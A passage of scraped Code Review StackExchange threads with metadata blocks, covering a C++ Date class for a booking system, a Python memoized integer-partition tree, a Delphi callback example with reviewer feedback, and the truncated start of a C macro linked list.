#ifndef DATE_HPP
#define DATE_HPP
#include <string>
class Date
{
public: | {
"domain": "codereview.stackexchange",
"id": 44174,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "c++",
"url": null
} |
c++
Date.hpp
#ifndef DATE_HPP
#define DATE_HPP
#include <string>
class Date
{
public:
Date();
Date(unsigned int day, unsigned int month, unsigned int year);
Date(const Date& other);
Date& operator=(const Date& other);
bool operator==(const Date& other) const;
bool operator!=(const Date& other) const;
bool operator>(const Date& other) const;
bool operator<(const Date& other) const;
bool operator>=(const Date& other) const;
bool operator<=(const Date& other) const;
void SetDay(unsigned int day);
void SetMonth(unsigned int month);
void SetYear(unsigned int year);
void SetDate(unsigned int day, unsigned int month, unsigned int year);
unsigned int GetDay() const;
unsigned int GetMonth() const;
unsigned int GetYear() const;
std::string GetString() const;
private:
unsigned int day;
unsigned int month;
unsigned int year;
unsigned int GetCombinedDateValue() const;
static unsigned int GetTotalDaysOfMonth(unsigned int month, unsigned int year);
static bool IsLeapYear(unsigned int year);
static bool IsValidDate(unsigned int day, unsigned int month, unsigned int year);
};
#endif // DATE_HPPs
Date.cpp
#include "Date.hpp"
#include <stdexcept>
#include <string>
Date::Date() : day(1), month(1), year(0)
{
}
Date::Date(unsigned int day, unsigned int month, unsigned int year) :
day(day), month(month), year(year)
{
if (!IsValidDate(this->day, this->month, this->year))
throw std::invalid_argument(
"Invalid date values: day=" + std::to_string(this->day)
+ ", month=" + std::to_string(this->month)
+ ", year=" + std::to_string(this->year));
}
Date::Date(const Date& other) :
day(other.day), month(other.month), year(other.year)
{
}
Date& Date::operator=(const Date& other)
{
this->day = other.day;
this->month = other.month;
this->year = other.year;
return *this;
} | {
"domain": "codereview.stackexchange",
"id": 44174,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "c++",
"url": null
} |
c++
bool Date::operator==(const Date& other) const
{
return this->GetCombinedDateValue() == other.GetCombinedDateValue();
}
bool Date::operator!=(const Date& other) const
{
return !(*this == other);
}
bool Date::operator>(const Date& other) const
{
return this->GetCombinedDateValue() > other.GetCombinedDateValue();
}
bool Date::operator<(const Date& other) const
{
return this->GetCombinedDateValue() < other.GetCombinedDateValue();
}
bool Date::operator>=(const Date& other) const
{
return this->GetCombinedDateValue() >= other.GetCombinedDateValue();
}
bool Date::operator<=(const Date& other) const
{
return this->GetCombinedDateValue() <= other.GetCombinedDateValue();
}
void Date::SetDay(unsigned int day)
{
this->day = day;
}
void Date::SetMonth(unsigned int month)
{
this->month = month;
}
void Date::SetYear(unsigned int year)
{
this->year = year;
}
void Date::SetDate(unsigned int day, unsigned int month, unsigned int year)
{
this->day = day;
this->month = month;
this->year = year;
}
unsigned int Date::GetDay() const
{
return this->day;
}
unsigned int Date::GetMonth() const
{
return this->month;
}
unsigned int Date::GetYear() const
{
return this->year;
}
std::string Date::GetString() const
{
return "Date(" + std::to_string(this->day) + ", " + std::to_string(this->month) + ", " + std::to_string(this->year) + ")";
}
unsigned int Date::GetCombinedDateValue() const
{
/**
* Priority: year-month-date
*
* january 15th 2022 as a combined value: 20220115
* october 9th 2023 as a combined value: 20231009
*
* Comparing example: 20231009 > 20220115 Ok!
*/
return this->year * 10000 + this->month * 100 + this->day;
} | {
"domain": "codereview.stackexchange",
"id": 44174,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "c++",
"url": null
} |
c++
unsigned int Date::GetTotalDaysOfMonth(unsigned int month, unsigned int year)
{
static const unsigned int JANUARY = 1;
static const unsigned int FEBRUARY = 2;
static const unsigned int MARCH = 3;
static const unsigned int APRIL = 4;
static const unsigned int MAY = 5;
static const unsigned int JUNE = 6;
static const unsigned int JULY = 7;
static const unsigned int AUGUST = 8;
static const unsigned int SEPTEMBER = 9;
static const unsigned int OCTOBER = 10;
static const unsigned int NOVEMBER = 11;
static const unsigned int DECEMBER = 12;
// February is a special case -> handle it first
unsigned int day = 0;
if (month == FEBRUARY)
day = 28 + ((IsLeapYear(year)) ? 1 : 0);
else
{
switch (month)
{
case JANUARY:
case MARCH:
case MAY:
case JULY:
case AUGUST:
case OCTOBER:
case DECEMBER:
day = 31;
break;
case APRIL:
case JUNE:
case SEPTEMBER:
case NOVEMBER:
day = 30;
break;
};
}
return day;
}
bool Date::IsLeapYear(unsigned int year)
{
/**
* https://en.wikipedia.org/wiki/Leap_year :
*
* "Every year that is exactly divisible by four is a leap year, except
* for years that are exactly divisible by 100, but these centurial
* years are leap years if they are exactly divisible by 400. For
* example, the years 1700, 1800, and 1900 are not leap years, but the
* years 1600 and 2000 are."
*/
bool divisableByFour = (year % 4 == 0);
bool divisableByHundred = (year % 100 == 0);
bool divisableByFourHundred = (year % 400 == 0);
if (!divisableByFour)
return false;
if (!divisableByHundred) // && divisableByFour
return true;
return divisableByFourHundred; // && divisableByFour && divisableByHundred
} | {
"domain": "codereview.stackexchange",
"id": 44174,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "c++",
"url": null
} |
c++
bool Date::IsValidDate(unsigned int day, unsigned int month, unsigned int year)
{
bool isValid = true;
isValid = isValid && (month <= 12);
isValid = isValid && (day <= GetTotalDaysOfMonth(month, year));
return isValid;
}
Description:
I want to create a code that can be used to book certain things. These things is defined with 'referenceID', examples on this would be a cabin, bike or a car (it is only a name so it works with anything).
If it looks like there are missing a main() it is because that one are irrelevant in this situation and I only need some guidence with one function.
In 'Reservation.cpp' there are a function that is named Overlaps (bool Reservation::Overlaps() const). The use of this is to check if there has been an overlap in the booking.
There so called rules for Overlaps() are as followed:
It´s end date is not before it´s start date.
No other booking exists with the same reference ID for the same period of time. - However, two bookings are allowed to share the same time period if they have different referer IDs.
For example:
Reservation foo("Bastuflotta", Date(1, 1, 2022), Date(5, 1, 2022));
Reservation bar("Bastuflotta", Date(3, 1, 2022), Date(8, 1, 2022));
foo.Overlaps(bar); // returns true
The following two are not an overlap since they do not share the same reference Id:
Reservation foo("Bastuflotta", Date(1, 1, 2022), Date(5, 1, 2022));
Reservation bar("Badtunna", Date(3, 1, 2022), Date(8, 1, 2022));
foo.Overlaps(bar); // returns false
I have tried and tried but can't get Overlaps to work. Pls if you have any examples or tips on how to do it, pls share you´r thoughts.
Thank you in beforehand! | {
"domain": "codereview.stackexchange",
"id": 44174,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "c++",
"url": null
} |
c++
Answer: The code looks quite clean, it's nice to see a header and implementation file for each class, and you have gotten const and references correct everywhere. There are still some issues though.
Unnecessary use of this->
Your code uses this-> a lot, however it is often not necessary to write this in C++, and just adds noise. Consider removing it everywhere.
About your copy constructors and assignment operators
You wrote copy constructors and assignment operators for all your classes, but for some it is not necessary as the compiler will generate these automatically for you, and for some you might want to forbid copy construction/assignment.
For Reservation and Date you can omit the copy constructors and assignment operators. The compiler will generate exactly the same code for you without you having to do anything. This is also less bug-prone, because if you would add a field to Reservation or Date and forget to update both the copy constructor and assignment operator, you will have a problem.
For BookingSystem there is a better reason to write your own copy constructor and assignment operator, and that is the manual memory management you have to do. The manual stuff could have been avoided (see below), but more importantly you might want to forbid copying BookingSystems altogether. Consider that for assignment, all old reservations will be lost, and for both copy construction and assignment there will now be two copies of the other's reservations. That doesn't sound like a good idea. Consider explicitly deleting them to prevent this from happening:
BookingSystem(const BookingSystem& other) = delete;
BookingSystem& operator=(const BookingSystem& other) = delete; | {
"domain": "codereview.stackexchange",
"id": 44174,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "c++",
"url": null
} |
c++
Avoid manual memory management
Calling new and delete manually is a lot of work and error-prone. While you did a rather good job here, there are still memory leaks possible if exceptions are thrown at some points (consider that new can throw if it is running out of memory).
Instead of doing this yourself, use containers from the standard library to handle memory management for you. In particular, use a std::vector to store your reservations; it does pretty much exactly what you were doing manually. Here is how it would look:
#include <vector>
…
class BookingSystem
{
std::vector<Reservation> reservations;
public:
void Reserve(const std::string& referenceID, const Date& start, const Date& end);
int GetReservationCount() const;
const std::vector<Reservation>& GetReservations() const;
};
void BookingSystem::Reserve(const std::string& referenceID, const Date& start, const Date& end)
{
// Note that this doesn't check for overlap
reservations.emplace_back(refrenceID, start, end);
}
int BookingSystem::GetReservationCount() const
{
return reservations.size();
}
const std::vector<Reservation>& BookingSystem::GetReservations() const
{
return reservations;
}
Note that the above will allow copy construction and assignment of BookingSystems, and while it is completely safe from a memory management perspective, you should probably still delete the copy constructor and copy assigment operator. However, move construction and move assignment could be useful, and the compiler can generate default implementations for those if you tell it to:
BookingSystem(const BookingSystem& other) = delete;
BookingSystem(BookingSystem&& other) = default;
BookingSystem& operator=(const BookingSystem& other) = delete;
BookingSystem& operator=(BookingSystem&& other) = default; | {
"domain": "codereview.stackexchange",
"id": 44174,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "c++",
"url": null
} |
c++
See the rule of five.
Use a time or date type from the standard library
Instead of writing your own Date class, consider using a time or date type from the standard library. Watch The Problem with Time & Timezones for why you don't want to implement your own.
I recommend that you either use std::chrono::time_point for the start and end of reservations, or if you really want just day granularity and can use C++20, use std::chrono::year_month_day.
Handling overlap
At Code Review we only review working code. It might be better to ask on StackOverflow if you have issues getting this to work. In your Overlaps() function you never check the start and end date of other, that is of course a big problem. I would also only check the dates for overlap, not look at the referenceIDs; the caller can check separately if the referenceIDs match, and this will allow it more flexibility in how to handle overlaps.
Even if Overlaps() works correctly, there is another issue in Reserve(): what should you do if a reservation has overlap? If they are from different referenceIDs, then you should reject the booking. If they are from the same, you could either store both bookings, or perhaps merge the two bookings into one which covers the dates of both original bookings. Your code doesn't handle that yet. | {
"domain": "codereview.stackexchange",
"id": 44174,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "c++",
"url": null
} |
python, python-3.x, mathematics
Title: Python program to find all possible ways an integer num can be expressed as sum of integers between 1 and lim
Question: This is a Python program that finds all possible ways a positive integer num can be expressed a sum of a number of integers between 1 and lim (including both ends).
There is no limit on the number of integers, duplicates are allowed, same elements in different order is considered different.
The output is a nested dictionary. Each key is a possible integer, each key in the nested dictionary is a possible integer in the series formed by the keys of the parent dictionaries in the previous levels that allows or makes the series sum to num.
From any last level keys, through the keys in the parent dictionaries, to the first level parent key, the sum of such a series is always num.
The Code
def partition_tree(num: int, lim: int) -> dict:
"""take a positive integer `num` and a positive integer `lim`,
calculate all possible ways integer `num` can be expressed as,
a summation of integers between 1 and `lim`, returns a tree"""
d = dict()
if any(not isinstance(i, int) for i in (num, lim)):
raise TypeError('The parameters of this function should be `int`s')
if any(i <= 0 for i in (num, lim)):
raise ValueError('The parameters should be both greater than 0')
def worker(num: int, lim: int, dic: dict) -> None:
for i in range(1, lim+1):
n = num - i
if n:
dic.setdefault(i, dict())
worker(n, lim, dic[i])
else:
dic.update({i: 0})
break
worker(num, lim, d)
return d | {
"domain": "codereview.stackexchange",
"id": 44175,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "python, python-3.x, mathematics",
"url": null
} |
python, python-3.x, mathematics
Example output:
def partition_tree(num: int, lim: int) -> dict:
"""take a positive integer `num` and a positive integer `lim`,
calculate all possible ways integer `num` can be expressed as,
a summation of integers between 1 and `lim`, returns a tree"""
d = dict()
if any(not isinstance(i, int) for i in (num, lim)):
raise TypeError('The parameters of this function should be `int`s')
if any(i <= 0 for i in (num, lim)):
raise ValueError('The parameters should be both greater than 0')
def worker(num: int, lim: int, dic: dict) -> None:
for i in range(1, lim+1):
n = num - i
if n:
dic.setdefault(i, dict())
worker(n, lim, dic[i])
else:
dic.update({i: 0})
break
worker(num, lim, d)
return d
import json
print(json.dumps(partition_tree(6, 3), indent=4)) | {
"domain": "codereview.stackexchange",
"id": 44175,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "python, python-3.x, mathematics",
"url": null
} |
python, python-3.x, mathematics
import json
print(json.dumps(partition_tree(6, 3), indent=4))
Output:
{
"1": {
"1": {
"1": {
"1": {
"1": {
"1": 0
},
"2": 0
},
"2": {
"1": 0
},
"3": 0
},
"2": {
"1": {
"1": 0
},
"2": 0
},
"3": {
"1": 0
}
},
"2": {
"1": {
"1": {
"1": 0
},
"2": 0
},
"2": {
"1": 0
},
"3": 0
},
"3": {
"1": {
"1": 0
},
"2": 0
}
},
"2": {
"1": {
"1": {
"1": {
"1": 0
},
"2": 0
},
"2": {
"1": 0
},
"3": 0
},
"2": {
"1": {
"1": 0
},
"2": 0
},
"3": {
"1": 0
}
},
"3": {
"1": {
"1": {
"1": 0
},
"2": 0
},
"2": {
"1": 0
},
"3": 0
}
}
I came up with this in under 2 minutes and made it work in one try. I made this for use in my project to generate pseudowords, more specifically to calculate all possible ways a given word length num can be achieved using chunks of lengths 1 to lim.
How is the performance, coding style and memory consumption of my code (try partition_tree(18, 6), something like this can be in common use)? How can it be improved? | {
"domain": "codereview.stackexchange",
"id": 44175,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "python, python-3.x, mathematics",
"url": null
} |
python, python-3.x, mathematics
Answer: Recursion Improvements
In your problem, you end up calling the same recursive function multiple times. For example for partition_tree(6, 3) calls worker(2, 3, d) many many times albeit with updated dictionaries. This ends up costing you quite a bit of performance. You could avoid recomputing the same combinations by using memoization. Meaning you would save the outputs of your previous calls.
Python's functools makes it incredibly easy to implement memoization with the @lru_cache decorator:
@lru_cache(maxsize=None)
def worker(*args):
...
If we're to save calls to the function, we can't be passing around dictionaries or prefixes. It has to be a pure function. And limit doesn't change within the partition tree and therefore it doesn't need to be passed around either. So let's remove those arguments and do the updating ourselves:
from functools import lru_cache
def partition_tree_lru(num: int, lim: int) -> dict:
"""take a positive integer `num` and a positive integer `lim`,
calculate all possible ways integer `num` can be expressed as,
a summation of integers between 1 and `lim`, returns a tree"""
if any(not isinstance(i, int) for i in (num, lim)):
raise TypeError('The parameters of this function should be `int`s')
if any(i <= 0 for i in (num, lim)):
raise ValueError('The parameters should be both greater than 0')
@lru_cache(maxsize=None)
def worker(num: int) -> dict:
working_dict = {}
for i in range(1, lim+1):
n = num - i
if n:
working_dict[i]=worker(n)
else:
working_dict[i]=0
break
return working_dict
return worker(num)
Improvement:
function [partition_tree_lru]((50, 50)) finished in 1 ms
function [partition_tree]((20, 10)) finished in 570 ms | {
"domain": "codereview.stackexchange",
"id": 44175,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "python, python-3.x, mathematics",
"url": null
} |
python, python-3.x, mathematics
Note : if 'you're going to be calling the partition_tree multiple times for different inputs it would be worth moving the worker function definition to the outer scope so that the cache persists between calls. | {
"domain": "codereview.stackexchange",
"id": 44175,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "python, python-3.x, mathematics",
"url": null
} |
callback, delphi
Title: Delphi - did I understand callbacks correctly?
Question: I am trying to learn callbacks in Delphi (7). Could not find a complete simple tutorial, so I puzzled together a few bits here and there. This is my first attempt, of course trivial.
My form contains a button and a label. For the test, I make a loop in the onClick code, and every time do a callback function.
The code is below. It works, but I am in doubt if it's "correct" to have application.processmessages where I have it. And, if I define / apply the callback functionality correctly.
// ----------- demo to test Callbacks
// https://stackoverflow.com/questions/11314641/method-pointer-and-regular-procedure-incompatible
//
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;
type
TCallBackFunction = procedure(sig: integer) of object;
TForm1 = class(TForm)
lblProgress: TLabel;
btn1: TButton;
procedure btn1Click(Sender: TObject);
private
{ Private declarations }
procedure tcb (sig: integer);
public
{ Public declarations }
procedure dowithcallback(const something: integer; thefunction: TCallBackFunction);
end;
var
Form1: TForm1;
testvar : integer;
implementation
{$R *.dfm}
// test procedure used for callback argument
//
procedure TForm1.tcb(sig: integer);
begin
testvar := sig;
lblProgress.Caption := inttostr(testvar);
application.ProcessMessages ;
end;
// The procedure that defines the callback function
//
procedure TForm1.dowithcallback(
const something: integer;
thefunction: TCallBackFunction);
begin
if assigned(thefunction) then
begin
thefunction(something)
end;
end;
//
// button click
//
procedure TForm1.btn1Click(Sender: TObject);
var
i : integer;
begin
testvar := 0;
for i := 1 to 10 do
begin
dowithcallback(i, tcb);
sleep(500);
end;
end;
end.
Any feedback welcomed! | {
"domain": "codereview.stackexchange",
"id": 44176,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "callback, delphi",
"url": null
} |
callback, delphi
end;
end.
Any feedback welcomed!
Answer: This question belongs to StackOverflow but not StackExchange. The title is also misleading, as you're asking about the call to application.ProcessMessages but not the callback function. Regarding your question, my opinion is that you should avoid putting UI code in the function and put them together with Sleep.
The other concern is the use of testvar. This global variable seems completely unnecessary in your code. It also makes the code thread-unsafe. Why did you use it? If you really need it, declare it as a member of TForm1 and not a global variable. It's still not thread-safe but better. Using global variables is against the principle of OOP and very bug-prone.
One last thing, as a benefit of separating codes from UI handling, both tcb and dowithcallback can now be declared as regular functions and not class functions. They run faster.
type
TCallBackFunction = function(sig: integer): string;
function tcb(sig: integer): string;
begin
Result := inttostr(sig);
end;
function dowithcallback(
const something: integer;
thefunction: TCallBackFunction): string;
begin
if assigned(thefunction)
then Result := thefunction(something)
// else Result := '';
// the else part is not needed because Result is defaulted to ''
end;
procedure TForm1.btn1Click(Sender: TObject);
var
i : integer;
begin
for i := 1 to 10 do
begin
lblProgress.Caption := dowithcallback(i, tcb);
application.ProcessMessages ;
sleep(500);
end;
end; | {
"domain": "codereview.stackexchange",
"id": 44176,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "callback, delphi",
"url": null
} |
python
Title: Format code to be more readable when counting a filtered list
Question: I have following code:
fruits = content.find_all("fruit")
matching_fruits = [fruit for fruit in fruits
if fruit.has_info('name') and fruit.has_info('source') and fruit.info['source'].endswith('primary')]
return len(matching_fruits)
How can I either reduce the code, or make it more readable? I am interested in making it look good in IDE and be more easy to read.
In Kotlin, I might do this like:
1) content.findAll("fruit").filter(...).filter(...).size
2) content.findAll("fruit").count(...)
Answer: You can write it shorter this way:
fruits = content.find_all("fruit")
return sum(fruit.has_info('name') and
fruit.has_info('source') and
fruit.info['source'].endswith('primary')
for fruit in fruits)
This works because False and True can also be interpreted as numbers 0 and 1 by Python.
Generally: Ensure that the expression evaluates to a boolean value (which is the case here). Boolean operators and and or actually evaluate to one of the operands, therefore all operands should evaluate to a boolean. | {
"domain": "codereview.stackexchange",
"id": 44177,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "python",
"url": null
} |
c, linked-list, macros
Title: C Macro Generic Linked List
Question: For a recent project of mine I had to create various data structures in pure C with no external libraries (in other words, code I've written by myself), which lacks the templating and OOP capabilities of C++. However, I figured a macro might be easier than a void*-based solution, so here it is. It's functional as far as my needs go, but after several rewrites every time I need a data structure in C I figured I want something I can write once and for all. My code, however, probably has various holes I missed so please do let me know what I can do to improve it.
#ifndef DEFINE_SINGLY_LINKED_LIST_T(TKey, TData, FComparer)
#include <stdlib.h> | {
"domain": "codereview.stackexchange",
"id": 44178,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "c, linked-list, macros",
"url": null
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.